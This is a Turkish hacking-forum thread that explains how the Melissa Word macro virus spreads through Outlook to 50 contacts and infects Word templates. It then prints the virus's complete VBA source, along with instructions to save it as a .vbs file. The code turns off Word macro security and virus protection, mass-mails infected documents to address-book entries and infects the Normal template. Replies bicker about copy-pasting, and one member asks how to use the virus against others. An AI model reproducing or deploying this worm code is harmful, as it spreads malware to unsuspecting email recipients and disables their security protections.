İPUCU

Trojan ve Virüsler Trojan ve Virüsler Hakkında Bilgiler.

Seçenekler

/ Melissa Virüsü [CODE] // Roper2534 Den

11-11-2016 20:32
#1
roper2534 - ait Kullanıcı Resmi (Avatar)
Üye
Üyelik tarihi:
09/2016
Nereden:
SILIVRI
Mesajlar:
2.400
Teşekkür (Etti):
284
Teşekkür (Aldı):
91
Konular:
492
Not defterini açıyoruz ve oraya bu kodu yazıyoruz yazdıktan sonra Farklı Kaydet diyoruz fakat bunu .vbs uzantısı ile kaydediyoruz


Nedir Melissa Virüsü?

Melissa bir Word 97 makro (macro) virüsü. Oldukça tehlikeli bir virüs, çünkü e-mail yoluyla çok hızlı olarak yayılabiliyor. Word 97 dökümanlarına ve Word 97 ile Word 2000&l8217;in NORMAL.DOT dosyasına bulaşıyor. Virüsün kodu Melissa isimli bir makro bulunduğundan bu adla anılıyor.

Diğer İsimleri Nelerdir?
Basında "***** Virüsü" olarak da tanınmasının nedeni pek çok kişiye *****grafik içerikli sitelerden gönderilen e-mail&l8217;ler sonucu bulaşmasından kaynaklanıyor. Ayrıca W97M/Melissa, Kwyjibo isimleriyle de tanınıyor.

Nasıl Bulaşıyor?
Melissa virüsü bulaşmış bir Word dökümanını ilk kez çalıştırdığınızda virüs, sistemde MS Outlook olup, olmadığını kontrol ediyor. Eğer varsa adres defterinde (address book) yer alan 50 e-mail hesabına (account) mektup göndererek yayılıyor.
Virüs tarafınfan gönderilen mektupların "subject" kısmı şu şekilde oluyor: "Important Message From (virüsün bulunduğu bilgisayarın sahibinin adı)". Mektubun "bOdy" kısmında yani içeriğinde ise "Here is that ******** you asked for ... don&l8217;t show anyone else :-)" yazılı. Virüslü Word dökümanu bu mektuba iliştiriliyor ve açıldığı zaman yine 50 kişiye kendisine gönderiyor. Bu böyle döngü içinde geliştiğinden çok kısa bir süre içinde inanılmaz bir hızla yayılabiliyor. E-mail metodu ile kendisini klonlamayı sadece virüslü döküman ilk çalıştırıldığında yapıyor. Eğer bilgisayarınızda virüslü bir döküman varsa Windows Registry&l8217;e baktığınız zaman şu satırı görebilirsiniz:
"HKEY_CURRENT_USER&l92;&l92;Software&l92;&l92; Micr osoft&l92;&l92;Office&l92;&l92;Melissa?". Virüs, e-mail ile başka adreslere ulaştıktan sonra bu anahtar değere ". . . by Kwyjibo" ekleniyor.
Eğer virüs registry&l8217;de bu ibareye rastlarsa e-mail kullanarak kendisini başkalarına göndermiyor. Bir de eğer sistemde Outlook yoksa virüs yine kopyalama işlemine başlamıyor. Bununla birlikte virüsün bulaştığı bilgisayarda açılan tüm Word dosyalarına bulaşıyor (diğer Word 97 virüsleri gibi).

Etkileri Neler?
Yaptığı en önemli iş e-mail yoluyla çok hızlı bir şekilde yayılması. Bunun dışında ayrıca eğer dakika o günkü tarihle uyuşuyorsa (mesela saat 9:30 ise ve günlerden de ayın 30&l8217;u ise) metine şöyle bir tümce ekliyor : "Twenty-two points, plus triple-word-score, plus fifty points for using all my letters. Game&l8217;s over. I&l8217;m outta here. "


*** Not Sakin Kendi Üzerinde Denemeyiniz
Bu Sorumlluk Kendinize
THT VE roper2534 SORUMLU DEGILDIR

Kod:
Private Sub ********_Open()
On Error Resume Next
If System.PrivateProfileString("",
"HKEY_CURRENT_USER\Software\Microsoft\Office\9.0\W ord\Security", "Level") <> ""
Then
CommandBars("Macro").Controls("Security...").Enabl ed = False
System.PrivateProfileString("",
"HKEY_CURRENT_USER\Software\Microsoft\Office\9.0\W ord\Security", "Level") = 1&
Else
CommandBars("Tools").Controls("Macro").Enabled = False
Options.ConfirmConversions = (1 - 1): Options.VirusProtection = (1 - 1):
Options.SaveNormalPrompt = (1 - 1)
End If
Dim UngaDasOutlook, DasMapiName, BreakUmOffASlice
Set UngaDasOutlook = CreateObject("Outlook.Application")
Set DasMapiName = UngaDasOutlook.GetNameSpace("MAPI")
If System.PrivateProfileString("",
"HKEY_CURRENT_USER\Software\Microsoft\Office", "Melissa?") <> "... by Kwyjibo"
Then
If UngaDasOutlook = "Outlook" Then
DasMapiName.Logon "profile", "password"
For y = 1 To DasMapiName.AddressLists.Count
Set AddyBook = DasMapiName.AddressLists(y)
x = 1
Set BreakUmOffASlice = UngaDasOutlook.CreateItem(0)
For oo = 1 To AddyBook.AddressEntries.Count
Peep = AddyBook.AddressEntries(x)
BreakUmOffASlice.Recipients.Add Peep
x = x + 1
If x > 50 Then oo = AddyBook.AddressEntries.Count
Next oo
BreakUmOffASlice.Subject = "Important Message From " &
Application.UserName
BreakUmOffASlice.Body = "Here is that ******** you asked for ... don't
show anyone else ;-)"
BreakUmOffASlice.Attachments.Add Active********.FullName
BreakUmOffASlice.Send
Peep = ""
Next y
DasMapiName.Logoff
End If
System.PrivateProfileString("", "HKEY_CURRENT_USER\Software\Microsoft\Office",
"Melissa?") = "... by Kwyjibo"
End If
Set ADI1 = Active********.VBProject.VBComponents.Item(1)
Set NTI1 = NormalTemplate.VBProject.VBComponents.Item(1)
NTCL = NTI1.CodeModule.CountOfLines
ADCL = ADI1.CodeModule.CountOfLines
BGN = 2
If ADI1.Name <> "Melissa" Then
If ADCL > 0 Then _
ADI1.CodeModule.DeleteLines 1, ADCL
Set ToInfect = ADI1
ADI1.Name = "Melissa"
DoAD = True
End If
If NTI1.Name <> "Melissa" Then
If NTCL > 0 Then _
NTI1.CodeModule.DeleteLines 1, NTCL
Set ToInfect = NTI1
NTI1.Name = "Melissa"
DoNT = True
End If
If DoNT <> True And DoAD <> True Then GoTo CYA
If DoNT = True Then
Do While ADI1.CodeModule.Lines(1, 1) = ""
ADI1.CodeModule.DeleteLines 1
Loop
ToInfect.CodeModule.AddFromString ("Private Sub ********_Close()")
Do While ADI1.CodeModule.Lines(BGN, 1) <> ""
ToInfect.CodeModule.InsertLines BGN, ADI1.CodeModule.Lines(BGN, 1)
BGN = BGN + 1
Loop
End If
If DoAD = True Then
Do While NTI1.CodeModule.Lines(1, 1) = ""
NTI1.CodeModule.DeleteLines 1
Loop
ToInfect.CodeModule.AddFromString ("Private Sub ********_Open()")
Do While NTI1.CodeModule.Lines(BGN, 1) <> ""
ToInfect.CodeModule.InsertLines BGN, NTI1.CodeModule.Lines(BGN, 1)
BGN = BGN + 1
Loop
End If
CYA:
If NTCL <> 0 And ADCL = 0 And (InStr(1, Active********.Name, "********") =
False) Then
Active********.SaveAs FileName:=Active********.FullName
ElseIf (InStr(1, Active********.Name, "********") <> False) Then
Active********.Saved = True: End If
'WORD/Melissa written by Kwyjibo
'Works in both Word 2000 and Word 97
'Worm? Macro Virus? Word 97 Virus? Word 2000 Virus? You Decide!
'Word -> Email | Word 97 <--> Word 2000 ... it's a new age!
If Day(Now) = Minute(Now) Then Selection.TypeText " Twenty-two points, plus
triple-word-score, plus fifty points for using all my letters. Game's over. 
I'm outta here."
End Sub
Kullanıcı İmzası
l]
Konu roper2534 tarafından (19-03-2017 21:11 Saat 21:11 ) değiştirilmiştir.

11-11-2016 20:33
#2
Üyelik tarihi:
06/2016
Nereden:
Leipzig
Yaş:
25
Mesajlar:
498
Teşekkür (Etti):
17
Teşekkür (Aldı):
42
Konular:
28
Kardeşim internete girip kopyala yapıştır yapıyorsun 30 dk da 10 konu açtın. Ve aynı konu var.

http://www.turkhackteam.org/trojan-v...u-kodlari.html
Kullanıcı İmzası
"Bana, insanlar üstünde bir doğuş yüklemeye kalkışmayınız. Doğuşum da ki tek olağanüstülük, Türk olarak dünyaya gelmemdir."

Gazi Mustafa Kemal Atatürk

SoloTürk'ü rahmetle anıyoruz.
11-11-2016 20:35
#3
Üyelik tarihi:
10/2015
Mesajlar:
212
Teşekkür (Etti):
30
Teşekkür (Aldı):
9
Konular:
27
Virüs hakkında bilgi verirseniz daha iyi olur
Kullanıcı İmzası
☾✫ ϜϓſϞ ☾✫
11-11-2016 20:35
#4
roper2534 - ait Kullanıcı Resmi (Avatar)
Üye
Üyelik tarihi:
09/2016
Nereden:
SILIVRI
Mesajlar:
2.400
Teşekkür (Etti):
284
Teşekkür (Aldı):
91
Konular:
492
Alıntı:
BloodyDanger´isimli üyeden Alıntı Mesajı göster
Kardeşim internete girip kopyala yapıştır yapıyorsun 30 dk da 10 konu açtın.
Kopayala Degil Alinti Ve Userinde Degisiklik Yapiyorum Zaten BUQ SAYEDE YARALANIYORUZ
Kullanıcı İmzası
l]
11-11-2016 20:36
#5
BadBOoY - ait Kullanıcı Resmi (Avatar)
Tamamen Forumdan Uzaklaştırıldı
Üyelik tarihi:
02/2015
Nereden:
Vatan
Mesajlar:
466
Teşekkür (Etti):
9
Teşekkür (Aldı):
144
Konular:
28
Bence bu virüs nedir ne işe yarar ?
Nelere zarar verir bi acıklama yaparsan iyi olur
11-11-2016 20:36
#6
Üyelik tarihi:
06/2016
Nereden:
Leipzig
Yaş:
25
Mesajlar:
498
Teşekkür (Etti):
17
Teşekkür (Aldı):
42
Konular:
28
Alıntı:
roper2534´isimli üyeden Alıntı Mesajı göster
Kopayala Degil Alinti Ve Userinde Degisiklik Yapiyorum Zaten BUQ SAYEDE YARALANIYORUZ

Post kasmak için açıyorsun konuyu. Biraz incele hep var olan konulardan açıyorsun.
Kullanıcı İmzası
"Bana, insanlar üstünde bir doğuş yüklemeye kalkışmayınız. Doğuşum da ki tek olağanüstülük, Türk olarak dünyaya gelmemdir."

Gazi Mustafa Kemal Atatürk

SoloTürk'ü rahmetle anıyoruz.
11-11-2016 20:43
#7
roper2534 - ait Kullanıcı Resmi (Avatar)
Üye
Üyelik tarihi:
09/2016
Nereden:
SILIVRI
Mesajlar:
2.400
Teşekkür (Etti):
284
Teşekkür (Aldı):
91
Konular:
492
Alıntı:
BloodyDanger´isimli üyeden Alıntı Mesajı göster
Post kasmak için açıyorsun konuyu. Biraz incele hep var olan konulardan açıyorsun.
HOCAM
NE INCLIYORUM
HE BOle yaparak Hep eskide geliyoruz daha guncel Yeni
Kullanıcı İmzası
l]
11-11-2016 20:44
#8
Üyelik tarihi:
06/2016
Nereden:
Leipzig
Yaş:
25
Mesajlar:
498
Teşekkür (Etti):
17
Teşekkür (Aldı):
42
Konular:
28
Alıntı:
roper2534´isimli üyeden Alıntı Mesajı göster
HOCAM
NE INCLIYORUM
HE BOle yaparak Hep eskide geliyoruz daha guncel Yeni
Bixi gibisin mübarek. son 1 saatte açtığın konuları incele
Kullanıcı İmzası
"Bana, insanlar üstünde bir doğuş yüklemeye kalkışmayınız. Doğuşum da ki tek olağanüstülük, Türk olarak dünyaya gelmemdir."

Gazi Mustafa Kemal Atatürk

SoloTürk'ü rahmetle anıyoruz.
11-11-2016 20:50
#9
roper2534 - ait Kullanıcı Resmi (Avatar)
Üye
Üyelik tarihi:
09/2016
Nereden:
SILIVRI
Mesajlar:
2.400
Teşekkür (Etti):
284
Teşekkür (Aldı):
91
Konular:
492
Alıntı:
BloodyDanger´isimli üyeden Alıntı Mesajı göster
Bixi gibisin mübarek. son 1 saatte açtığın konuları incele
en fazla 8
Kullanıcı İmzası
l]
19-03-2017 20:55
#10
Dj-DeLiKaN - ait Kullanıcı Resmi (Avatar)
Üye
Üyelik tarihi:
12/2008
Nereden:
Karadeniz
Yaş:
31
Mesajlar:
820
Teşekkür (Etti):
166
Teşekkür (Aldı):
92
Konular:
223
Binbaşım bu virüs ne işe yarıyor? Kendi üzerimizde denemeyelim de karşı tarafa ne amaçla deneyelim? Alıntı yada kopyala yapıştır yapmana bir şey demiyorum ben. Ancak açtığımız konuların ne işe yaradığını bir anlatalım.
Kullanıcı İmzası
En az benim kadar inatçı bir umudum var. Ben vazgeçsem, o vazgeçmiyor benden.

Bookmarks


« Önceki Konu | Sonraki Konu »
Seçenekler

Yetkileriniz
Sizin Yeni Konu Acma Yetkiniz var yok
You may not post replies
Sizin eklenti yükleme yetkiniz yok
You may not edit your posts

BB code is Açık
Smileler Açık
[IMG] Kodları Açık
HTML-Kodları Kapalı
Trackbacks are Kapalı
Pingbacks are Kapalı
Refbacks are Kapalı